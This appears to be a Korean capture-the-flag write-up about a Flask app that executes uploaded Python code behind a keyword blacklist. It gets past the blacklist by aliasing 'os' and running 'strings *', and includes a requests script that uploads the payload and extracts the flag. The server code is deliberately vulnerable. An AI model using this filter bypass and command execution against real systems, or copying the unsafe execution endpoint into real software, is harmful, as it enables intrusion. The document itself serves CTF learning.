문제에서 주어진 소스코드 파일은 없는 상태였으며, 웹 인스턴트를 생성하여 접근할 수 있는 문제였습니다.
추후에 다운받은 문제 소스코드는 아래와 같습니다.
import subprocess
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/execute', methods=['POST'])
def execute():
if request.method == 'POST':
file = request.files.get('file')
code = file.read().decode('utf-8')
print(code)
if 'subprocess' in code:
return 'BLACKLIST#1: Code contains blocked keywords!'
if "cat" in code:
return 'BLACKLIST#2: Try Harder!'
if "flag" in code:
return 'BLACKLIST#3: Try Harder!'
if "os." in code:
return 'BLACKLIST#4: Try Harder!'
if "#" in code:
return 'BLACKLIST#5: Try Harder!'
if 'read' in code:
return 'BLACKLIST#6: Try Harder!'
if '\\' in code:
return 'BLACKLIST#7: Try Harder!'
if '_' in code:
return 'BLACKLIST#8: Try Harder!'
if '0x' in code:
return 'BLACKLIST#9: Try Harder!'
else:
output = subprocess.check_output(['python3','-c', "{code}".format(code=code)]).decode('utf-8')
print(output)
return output
if __name__ == '__main__':
app.run(host ='0.0.0.0', port=5000, threaded=True, debug=False)
업로드한 파일을 실행시켜주는 구조로 되어있는 문제이며, 여러 BLACKLIST를 가지고 있습니다. BLACKLIST 문자열들을 사용하지 않으면서 flag를 읽어오는 문제입니다.
os.
을 사용할 수 없지만 os
는 사용할 수 있으므로, import os as ooo
와 같이 작성하여 간단하게 우회가 가능한 문제입니다.
# ./payload.py
import os as ooo
ooo.system("strings *")
import requests
URL = 'http://34.159.182.195:31094/execute'
files = open('./payload.py', 'rb')
upload = {'file':files}
res = requests.post(URL, files=upload)
flag = res.text
flag = flag.split("CTF{")[1]
flag = flag.split("}")[0]
flag = "CTF{"+flag+"}"
print(flag)
# CTF{4e08cd8cc051a304f94dd905b66af29572e3aa8fa56d93200bfd34727e2a892a}